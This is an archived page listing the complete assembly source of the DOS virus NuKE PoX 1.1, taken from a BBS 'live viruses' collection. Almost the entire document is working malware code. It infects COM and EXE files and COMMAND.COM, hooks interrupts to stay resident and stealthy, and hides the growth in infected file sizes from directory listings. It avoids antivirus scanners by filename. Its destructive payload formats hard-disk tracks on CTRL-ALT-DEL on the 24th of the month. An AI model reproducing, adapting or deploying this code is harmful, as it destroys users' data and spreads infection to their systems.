home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / pox1-1.asm < prev    next >
Assembly Source File  |  1992-11-12  |  22KB  |  500 lines

  1.  
  2. ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  3. ;-*      (c) Rock Steady, Viral Developments                             -*
  4. ;*-      (c) NuKE Software Developement  1991, 1992                      *-
  5. ;-*  Virus: NuKE PoX Version 1.1  (Alias: Evil Genius, NPox)             -*
  6. ;*-  ~~~~~~                                                              *-
  7. ;-*  Notes: Resident EXE & COM Infecting, Memory Stealth, Directory      -*
  8. ;*-  ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects     *-
  9. ;-*         COMMAND.COM on first Run, CTRL-ALT-DEL Aware...              -*
  10. ;*-  Bytes: 963 Bytes           Memory: 963 Bytes                        *-
  11. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  12. virus_size      equ     last - init_virus
  13. mut1            equ     3
  14. mut2            equ     1
  15. mut3            equ     103h
  16. del_code        equ     53h
  17.  
  18. seg_a           segment byte public
  19.                 assume  cs:seg_a, ds:seg_a
  20.                 org     100h
  21. rocko           proc    far
  22.  
  23. start:          jmp     init_virus
  24. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  25. ;                       Virus Begins Here...
  26. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  27. init_virus:
  28.                 call    doit_now               ;Doit VirusMan...
  29.  
  30. doit_now:       pop     bp                     ;Not to Lose Track
  31.                 sub     bp,106h                ;Set our position
  32.                 push    ax                     ;Save all the registers
  33.                 push    bx
  34.                 push    cx
  35.                 push    dx
  36.                 push    si
  37.                 push    di
  38.                 push    bp
  39.                 push    es
  40.                 push    ds
  41.  
  42.                 mov     ax,7bcdh               ;Are we resident Already?
  43.                 int     21h
  44.                 cmp     bx,7bcdh               ;Yupe... Quit Then...
  45.                 je      exit_com
  46.  
  47.                 xor     bx,bx
  48.                 push    cs                     ;Get CS=DS
  49.                 pop     ds
  50.                 mov     cx,es
  51.  
  52.                 mov     ax,3509h               ;Hook Int 9 Please...
  53.                 int     21h
  54.                 mov     word ptr cs:[int9+2][bp],es
  55.                 mov     word ptr cs:[int9][bp],bx
  56.  
  57.                 mov     ax,3521h               ;Sometimes tend to intercept
  58.                 int     21h                    ;This Interrupt...
  59.                 mov     word ptr cs:[int21+2][bp],es    ;Save the Int
  60.                 mov     word ptr cs:[int21][bp],bx      ;Vector Table
  61.  
  62.                 dec     cx                     ;Get a new Memory block
  63.                 mov     es,cx                  ;Put it Back to ES
  64.                 mov     bx,es:mut1
  65.                 mov     dx,virus_size          ;Size to `Hide'
  66.                 mov     cl,4                   ;And all this crap hides
  67.                 shr     dx,cl                  ;your number od bytes in DX
  68.                 add     dx,4
  69.                 mov     cx,es
  70.                 sub     bx,dx
  71.                 inc     cx
  72.                 mov     es,cx
  73.                 mov     ah,4ah                 ;Call int to do it...
  74.                 int     21h
  75.  
  76.                 jc      exit_com
  77.                 mov     ah,48h
  78.                 dec     dx
  79.                 mov     bx,dx                  ;It's Done... Yeah!
  80.                 int     21h
  81.  
  82.                 jc      exit_com
  83.                 dec     ax
  84.                 mov     es,ax
  85.                 mov     cx,8h                  ;Here we move our Virus into
  86.                 mov     es:mut2,cx             ;the `Hidden' memory!
  87.                 sub     ax,0fh
  88.                 mov     di,mut3
  89.                 mov     es,ax
  90.                 mov     si,bp
  91.                 add     si,offset init_virus
  92.                 mov     cx,virus_size
  93.                 cld
  94.                 repne   movsb
  95.  
  96.                 mov     ax,2521h                ;Restore Int21 with ours
  97.                 mov     dx,offset int21_handler ;Where it starts
  98.                 push    es
  99.                 pop     ds
  100.                 int     21h
  101.  
  102.                 mov     ax,2509h               ;Restore Int9 with ours
  103.                 mov     dx,offset int9_handler ;The Handler...
  104.                 int     21h
  105.  
  106.                 push    cs
  107.                 pop     ds
  108. exit_com:
  109.                 cmp     word ptr cs:[buffer][bp],5A4Dh
  110.                 je      exit_exe_file          ;Its an EXE file...
  111.                 mov     bx,offset buffer       ;Its a COM file restore
  112.                 add     bx,bp                  ;First three Bytes...
  113.                 mov     ax,[bx]                ;Mov the Byte to AX
  114.                 mov     word ptr ds:[100h],ax  ;First two bytes Restored
  115.                 add     bx,2                   ;Get the next Byte
  116.                 mov     al,[bx]                ;Move the Byte to AL
  117.                 mov     byte ptr ds:[102h],al  ;Restore the Last of 3 Bytes
  118.                 pop     ds
  119.                 pop     es
  120.                 pop     bp                     ;Restore Regesters
  121.                 pop     di
  122.                 pop     si
  123.                 pop     dx
  124.                 pop     cx
  125.                 pop     bx
  126.                 pop     ax
  127.                 mov     ax,100h                ;Jump Back to Beginning
  128.                 push    ax                     ;Restores our IP (a CALL
  129.                 retn                           ;Saves them, now we changed
  130. int21           dd      ?                      ;Our Old Int21
  131. int9            dd      ?                      ;Our Old Int9
  132.  
  133. exit_exe_file:
  134.                 mov     bx,word ptr cs:[buffer+22][bp]  ;Load CS Regester
  135.                 mov     dx,cs
  136.                 sub     dx,bx
  137.                 mov     ax,dx
  138.                 add     ax,word ptr cs:[exe_cs][bp]        ;Get original CS
  139.                 add     dx,word ptr cs:[exe_ss][bp]        ;Get original SS
  140.                 mov     bx,word ptr cs:[exe_ip][bp]        ;Get original IP
  141.                 mov     word ptr cs:[fuck_yeah][bp],bx     ;Restore IP
  142.                 mov     word ptr cs:[fuck_yeah+2][bp],ax   ;Restore CS
  143.                 mov     ax,word ptr cs:[exe_sp][bp]        ;Get original SP
  144.                 mov     word ptr cs:[Rock_Fix1][bp],dx     ;Restore SS
  145.                 mov     word ptr cs:[Rock_Fix2][bp],ax     ;Restore SP
  146.                 pop     ds
  147.                 pop     es
  148.                 pop     bp
  149.                 pop     di
  150.                 pop     si
  151.                 pop     dx
  152.                 pop     cx
  153.                 pop     bx
  154.                 pop     ax
  155.                 db      0B8h                   ;This is now a MOV AX,XXXX
  156. Rock_Fix1:                                     ;XXXX is the original SS
  157.                 dw      0                      ;Our XXXX Value
  158.                 cli                            ;Disable Interrupts
  159.                 mov     ss,ax                  ;Mov it to SS
  160.                 db      0BCh                   ;This is now a MOV SP,XXXX
  161. Rock_Fix2:
  162.                 dw      0                      ;The XXXX Value for SP
  163.                 sti                            ;Enable interrupts
  164.                 db      0EAh                   ;JMP XXXX:YYYY
  165. fuck_yeah:
  166.                 dd      0                      ;Dword IP:CS (Reverse order!
  167. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  168. ;                       Int 9 Handler
  169. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  170. int9_handler:                                  ;Every TIME a KEY is pressed
  171.                 push    ax                     ;This ROUTINE is called!
  172.                 in      al,60h                 ;Has the user attempted a
  173.                 cmp     al,del_code            ;CTRL-ALT-DEL
  174.                 je      warm_reboot            ;Yes! Screw him
  175. bye_bye:        pop     ax
  176.                 jmp     dword ptr cs:[int9]    ;Nope, Leave system alone
  177. warm_reboot:
  178.                 mov     ah,2ah                 ;Get Date Please
  179.                 int     21h
  180.                 cmp     dl,18h                 ;Is it 24th of the Month?
  181.                 jne     bye_bye                ;Yes, bye_Bye HD
  182.                 mov     ch,0
  183. hurt_me:        mov     ah,05h
  184.                 mov     dh,0
  185.                 mov     dl,80h                 ;Formats a few tracks...
  186.                 int     13h                    ;Hurts So good...
  187.                 inc     ch
  188.                 cmp     ch,20h
  189.                 loopne  hurt_me
  190.                 db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!
  191.                 iret
  192. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  193. ;                       Dir Handler
  194. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  195. dir_handler:
  196.                 pushf
  197.                 push    cs
  198.                 call    int21call              ;Get file Stats
  199.                 test    al,al                  ;Good FCB?
  200.                 jnz     no_good                ;nope
  201.                 push    ax
  202.                 push    bx
  203.                 push    es
  204.                 mov     ah,51h                 ;Is this Undocmented? huh...
  205.                 int     21h
  206.  
  207.                 mov     es,bx
  208.                 cmp     bx,es:[16h]
  209.                 jnz     not_infected           ;Not for us man...
  210.                 mov     bx,dx
  211.                 mov     al,[bx]
  212.                 push    ax
  213.                 mov     ah,2fh                 ;Get file DTA
  214.                 int     21h
  215.  
  216.                 pop     ax
  217.                 inc     al
  218.                 jnz     fcb_okay
  219.                 add     bx,7h
  220. fcb_okay:       mov     ax,es:[bx+17h]
  221.                 and     ax,1fh                 ;UnMask Seconds Field
  222.                 xor     al,1dh                 ;Is in 58 seconds?
  223.                 jnz     not_infected           ;Nope...
  224.                 and     byte ptr es:[bx+17h],0e0h
  225.                 sub     es:[bx+1dh],virus_size    ;Yes minus virus size
  226.                 sbb     es:[bx+1fh],ax
  227. not_infected:   pop     es
  228.                 pop     bx
  229.                 pop     ax
  230. no_good:        iret
  231. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  232. ;                       Int 21 Handler
  233. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  234. int21_handler:
  235.                 cmp     ax,4b00h               ;File executed
  236.                 je      execute
  237.                 cmp     ah,11h                 ;Dir handler
  238.                 je      dir_handler
  239.                 cmp     ah,12h                 ;Next file Dir handler
  240.                 je      dir_handler
  241.                 cmp     ax,7bcdh               ;Virus testing
  242.                 jne     int21call
  243.                 jmp     execute
  244. int21call:
  245.                 jmp     dword ptr cs:[int21]   ;Split...
  246. execute:
  247.                 push    ax
  248.                 push    bx
  249.                 push    cx
  250.                 push    dx
  251.                 push    si
  252.                 push    di
  253.                 push    es
  254.                 push    ds
  255.  
  256.                 cmp     ax,7bcdh               ;Was Virus testing if it was
  257.                 jne     continue               ;Alive? If No Continue
  258.                 push    cs
  259.                 pop     ds                     ;If Yes, Check if COMMAND.CO
  260.                 mov     dx,offset command      ;Is infected! And return
  261.                 jmp     continue2
  262. continue:
  263.                 call    check_name             ;Make sure file executed
  264.                 jc      exit_now               ;Ain't a Anti-Viral program
  265. continue2:                                     ;With the CRC-32 checkers
  266.                 mov     ax,4300h               ;Get file Attribs
  267.                 int     21h
  268.                 jc      exit
  269.  
  270.                 test    cl,1h                  ;Make sure there normal
  271.                 jz      open_file              ;Okay there are
  272.                 and     cl,0feh                ;Nope, Fix them...
  273.                 mov     ax,4301h               ;Save them now
  274.                 int     21h
  275.                 jc      exit
  276.  
  277. open_file:      mov     ax,3D02h
  278.                 int     21h                    ;Open File to Infect please
  279.  
  280.                 jc      exit                   ;Error Split
  281.                 mov     bx,ax                  ;BX File handler
  282.                 mov     ax,5700h               ;Get file TIME + DATE
  283.                 int     21h
  284.  
  285.                 mov     al,cl
  286.                 or      cl,1fh                 ;Un mask Seconds
  287.                 dec     cx                     ;60 seconds
  288.                 dec     cx                     ;58 seconds
  289.                 xor     al,cl                  ;Is it 58 seconds?
  290.                 jz      exit                   ;File already infected
  291.  
  292.                 push    cs
  293.                 pop     ds
  294.                 mov     word ptr ds:[old_time],cx       ;Save Time
  295.                 mov     word ptr ds:[old_date],dx       ;Save Date
  296.  
  297.                 mov     ah,3Fh
  298.                 mov     cx,20h
  299.                 mov     dx,offset ds:[buffer]  ;Read first 20h bytes
  300.                 int     21h
  301.  
  302.                 jc      exit_now               ;Error Split
  303.                 mov     ax,4202h               ;Move file pointer to end of
  304.                 xor     cx,cx                  ;file...
  305.                 xor     dx,dx
  306.                 int     21h
  307.  
  308.                 jc      exit_now                       ;Error Split
  309.                 cmp     word ptr cs:[buffer],5A4Dh     ;Is file an EXE?
  310.                 je      exe_file                       ;JMP to EXE Infector
  311.                 mov     cx,ax
  312.                 sub     cx,3                           ;Set the JMP
  313.                 mov     word ptr cs:[jump_address+1],cx
  314.                 call    infect_me                      ;Infect!
  315.                 jc      exit_now                       ;error split
  316.                 mov     ah,40h                         ;Write back the firs
  317.                 mov     dx,offset ds:[jump_address]    ;bytes
  318.                 mov     cx,3h
  319.                 int     21h
  320. exit_now:
  321.                 mov     cx,word ptr cs:[old_time]      ;Restore old time
  322.                 mov     dx,word ptr cs:[old_date]      ;Restore Old date
  323.                 mov     ax,5701h
  324.                 int     21h
  325. exit_now2:
  326.                 mov     ah,3Eh
  327.                 int     21h                     ;Close File now...
  328. exit:
  329.                 pop     ds
  330.                 pop     es
  331.                 pop     di
  332.                 pop     si
  333.                 pop     dx
  334.                 pop     cx
  335.                 pop     bx
  336.                 pop     ax
  337.                 cmp     ax,7bcdh                ;Virus checking if alive
  338.                 jne     leave_now               ;No, Exit normally
  339.                 mov     bx,ax                   ;Yes, Fix BX with codez
  340. leave_now:
  341.                 jmp     dword ptr cs:[int21]    ;Jmp back to whatever
  342. exe_file:
  343.                 mov     cx,word ptr cs:[buffer+20]     ;IP Regester
  344.                 mov     word ptr cs:[exe_ip],cx        ;Save IP Regester
  345.                 mov     cx,word ptr cs:[buffer+22]     ;CS Regester
  346.                 mov     word ptr cs:[exe_cs],cx        ;Save CS Regester
  347.                 mov     cx,word ptr cs:[buffer+16]     ;SP Regester
  348.                 mov     word ptr cs:[exe_sp],cx        ;Save SP Regester
  349.                 mov     cx,word ptr cs:[buffer+14]     ;SS Regester
  350.                 mov     word ptr cs:[exe_ss],cx        ;Save SS Regester
  351.                 push    ax
  352.                 push    dx
  353.                 call    multiply                       ;Figure a new CS:IP
  354.                 sub     dx,word ptr cs:[buffer+8]
  355.                 mov     word ptr cs:[buffer+22],dx     ;Restore New CS
  356.                 mov     word ptr cs:[buffer+20],ax     ;Restore New IP
  357.                 pop     dx
  358.                 pop     ax
  359.                 add     ax,virus_size
  360.                 adc     dx,0
  361.                 push    ax
  362.                 push    dx
  363.                 call    multiply                      ;Figure a new SS:SP
  364.                 sub     dx,word ptr cs:[buffer+8]     ;Exe Size (512 Usuall
  365.                 add     ax,40h
  366.                 mov     word ptr cs:[buffer+14],dx    ;New SS Pointer
  367.                 mov     word ptr cs:[buffer+16],ax    ;New SP Pointer
  368.                 pop     dx
  369.                 pop     ax
  370.  
  371.                 push    bx
  372.                 push    cx
  373.                 mov     cl,7                          ;Fix for Header for
  374.                 shl     dx,cl                         ;new file size in 512
  375.                                                       ;byte pages
  376.                 mov     bx,ax
  377.                 mov     cl,9                          ;And the remainder
  378.                 shr     bx,cl                         ;after dividing by
  379.                                                       ;512...
  380.                 add     dx,bx
  381.                 and     ax,1FFh
  382.                 jz      outta_here
  383.                 inc     dx
  384. outta_here:
  385.                 pop     cx
  386.                 pop     bx
  387.  
  388.                 mov     word ptr cs:[buffer+2],ax     ;Save Remainder
  389.                 mov     word ptr cs:[buffer+4],dx     ;Save Size in 512 pag
  390.                 call    infect_me                     ;INFECT File! Yeah!
  391.                 jc      exit_exe
  392.  
  393.                 mov     ah,40h                  ;Write NEW EXE Header back
  394.                 mov     dx,offset ds:[buffer]   ;to EXE File! Points to
  395.                 mov     cx,20h                  ;The Virus Now!!! ehhe
  396.                 int     21h
  397. exit_exe:
  398.                 jmp     exit_now
  399.  
  400. rocko           endp
  401.  
  402. exe_ip          dw      0               ;Original IP,CS,SP,SS From EXE
  403. exe_cs          dw      0               ;Header!
  404. exe_sp          dw      0
  405. exe_ss          dw      0
  406. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  407. ;                   Infection Routine...
  408. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  409. infect_me       proc    near
  410.                 mov     ah,40h                  ;Write the New Encrypted
  411.                 mov     dx,offset init_virus    ;Virus to File!
  412.                 mov     cx,virus_size
  413.                 int     21h
  414.  
  415.                 jc      exit_error              ;Error Split
  416.                 mov     ax,4200h
  417.                 xor     cx,cx                   ;Pointer back to beginning
  418.                 xor     dx,dx                   ;file!
  419.                 int     21h
  420.  
  421.                 jc      exit_error              ;Split Dude...
  422.                 clc                             ;Clear carry flag
  423.                 retn
  424. exit_error:
  425.                 stc                             ;Set carry flag
  426.                 retn
  427. infect_me       endp
  428. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  429. ;      Fix EXE Header...Gets new SS, CS Values for EXEs headers
  430. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  431. multiply                proc    near
  432.                 push    bx
  433.                 push    cx
  434.                 mov     cl,0Ch
  435.                 shl     dx,cl
  436.  
  437.                 mov     bx,ax
  438.                 mov     cl,4
  439.                 shr     bx,cl
  440.  
  441.                 add     dx,bx
  442.                 and     ax,0Fh
  443.                 pop     cx
  444.                 pop     bx
  445.                 retn
  446. multiply                endp
  447. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  448. ;       Check to see if an `Anti-Viral' Product is being executed.
  449. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  450. check_name              proc    near
  451.                 push    si
  452.                 push    cx
  453.  
  454.                 mov     si,dx
  455.                 mov     cx,128h
  456. loop_me:
  457.                 cmp     byte ptr ds:[si],2Eh    ;Find ASCIIZ String
  458.                 je      next_ok
  459.                 inc     si
  460.                 loop    loop_me
  461. next_ok:
  462.                 cmp     ds:[si-2],'TO'          ;Is it ??PROT.EXE (F-PROT)
  463.                 jne     next_1                  ;Naaa
  464.                 cmp     ds:[si-4],'RP'
  465.                 je      bad_file                ;Yupe...
  466. next_1:
  467.                 cmp     ds:[si-2],'NA'          ;Is it SCAN.EXE (McAffee)
  468.                 jne     next_2                  ;Naaa
  469.                 cmp     ds:[si-4],'CS'
  470.                 je      bad_file                ;Yupe...
  471. next_2:
  472.                 cmp     ds:[si-2],'NA'          ;is it ?LEAN.EXE (Clean.EXE
  473.                 jne     next_3                  ;Naaa
  474.                 cmp     ds:[si-4],'EL'
  475.                 je      bad_file                ;Yupe...
  476. next_3:
  477.                 pop     cx
  478.                 pop     si                      ;good file Set CARRY FLAG
  479.                 clc                             ;to normal
  480.                 retn
  481. bad_file:
  482.                 pop     cx                      ;Bad file, Set CARRY FLAG
  483.                 pop     si                      ;ON!!!
  484.                 stc
  485.                 retn
  486. check_name              endp
  487.  
  488. command         db      "C:\COMMAND.COM",0      ;What to infect!
  489. old_time        dw      ?
  490. old_date        dw      ?
  491. jump_address    db      0E9h,90h,90h
  492. buffer          db      90h,0CDh,020h
  493.                 db      30h DUP (?)
  494. msg             db      "NukE PoX V1.1 - R.S"
  495. last:
  496. seg_a           ends
  497.  
  498.                 end     start
  499.  
  500.